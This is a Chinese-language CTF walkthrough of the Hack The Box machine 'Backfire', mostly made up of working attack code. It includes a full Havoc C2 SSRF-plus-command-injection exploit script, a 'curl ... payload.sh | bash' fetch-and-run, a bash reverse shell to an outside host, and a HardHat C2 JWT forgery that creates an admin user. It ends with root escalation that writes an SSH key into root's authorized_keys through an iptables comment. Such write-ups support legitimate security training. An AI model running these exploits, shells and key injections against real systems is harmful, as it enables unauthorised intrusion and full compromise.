USER
nmap -T4 -A -v -Pn 10.10.11.49 -oN backfire.txt
8000 端口有网页
havoc.yaotl 是 havoc c2 的配置文件，会配置连接到 teamserver 的账号密码
下载后可以看见
user "ilya" {
Password = "CobaltStr1keSuckz!"
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
针对 havoc 可以找到这个 ssrf
但是这个 poc 直接利用无法实现
所以需要修改一下，增加一些功能，有更稳定的 socks 和命令注入
import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter
urllib3.disable_warnings()
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key), key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print(agent_header + header_data)
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
def write_socket(socket_id, data):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand + socket_id + socket_type + success + data_length + data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print(post_data)
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
def create_websocket_request(host, port):
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
def build_websocket_frame(payload):
payload_bytes = payload.encode("utf-8")
frame = bytearray()
frame.append(0x81)
payload_length = len(payload_bytes)
if payload_length <= 125:
frame.append(0x80 | payload_length)
elif payload_length <= 65535:
frame.append(0x80 | 126)
frame.extend(payload_length.to_bytes(2, byteorder="big"))
else:
frame.append(0x80 | 127)
frame.extend(payload_length.to_bytes(8, byteorder="big"))
masking_key = os.urandom(4)
frame.extend(masking_key)
masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
frame.extend(masked_payload)
return frame
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
args = parser.parse_args()
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
cmd = "curl http://10.10.14.38:8000/payload.sh | bash" #攻击机要创建payload.sh #/bin/bash；bash -i >& /dev/tcp/10.10.14.16/4444 0>&1
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
python rce.py -t https://backfire.htb -i 127.0.0.1 -p 40056这里本意是远程请求我的 payload.sh，执行反弹 shell，但是反弹的 shell 并不稳定
根据群友的思路，直接把自己的公钥写到 ilya 机器
把 payload.sh 的命令改为
echo "ssh-rsa AAA...= root@kali">> /home/ilya/.ssh/authorized_keys然后就可以直接 ssh 登录到 ilya，这里就可以看到 user.txt
ROOT
看到个 hardhat.txt
好家伙，c2 大合集
ss -tuln
直接 ligolo-ng 穿透
#客户端
./agent -connect 10.10.14.16:11601 -ignore-cert
#服务端
./start_ligolo.sh #kali执行,开启ligolo-ng网卡
./proxy -selfcert #kali执行，开启接受
[ligolo-ng] session
[ligolo-ng] ifconfig
sudo ip route add 240.0.0.1/32 dev ligolo
[ligolo-ng] start
sudo ip route del 240.0.0.1/32 dev ligolo探测一下端口是否有网页服务
hardhat c2 的漏洞
其中第二个Authentication Bypass 身份验证绕过可以利用
利用 hardhat 的硬编码创建一个可利用的身份
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = '240.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
使用 sth_pentest / sth_pentest 登录到 7096 port
接下来换成运行反弹 shell
bash -i >& /dev/tcp/10.10.14.16/4444 0>&1
照例 sudo -l 看看
这篇文章讲了 sudo iptables 的本地提权
文章中用的是覆盖/etc/passwd 文件，但是群友给了更好的思路
生成ed25519 格式的密钥
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519查看公钥
cat ~/.ssh/id_ed25519.pub开放防火墙的 lo，允许回环连接，通过的注释的方式写入公钥到配置
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 A..dhkA5 sergej@backfire\n'保存 iptables 配置到 root 的 authorized_keys
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys连接
chmod 600 id_ed25519
ssh -i ~/.ssh/id_ed25519 [email protected]
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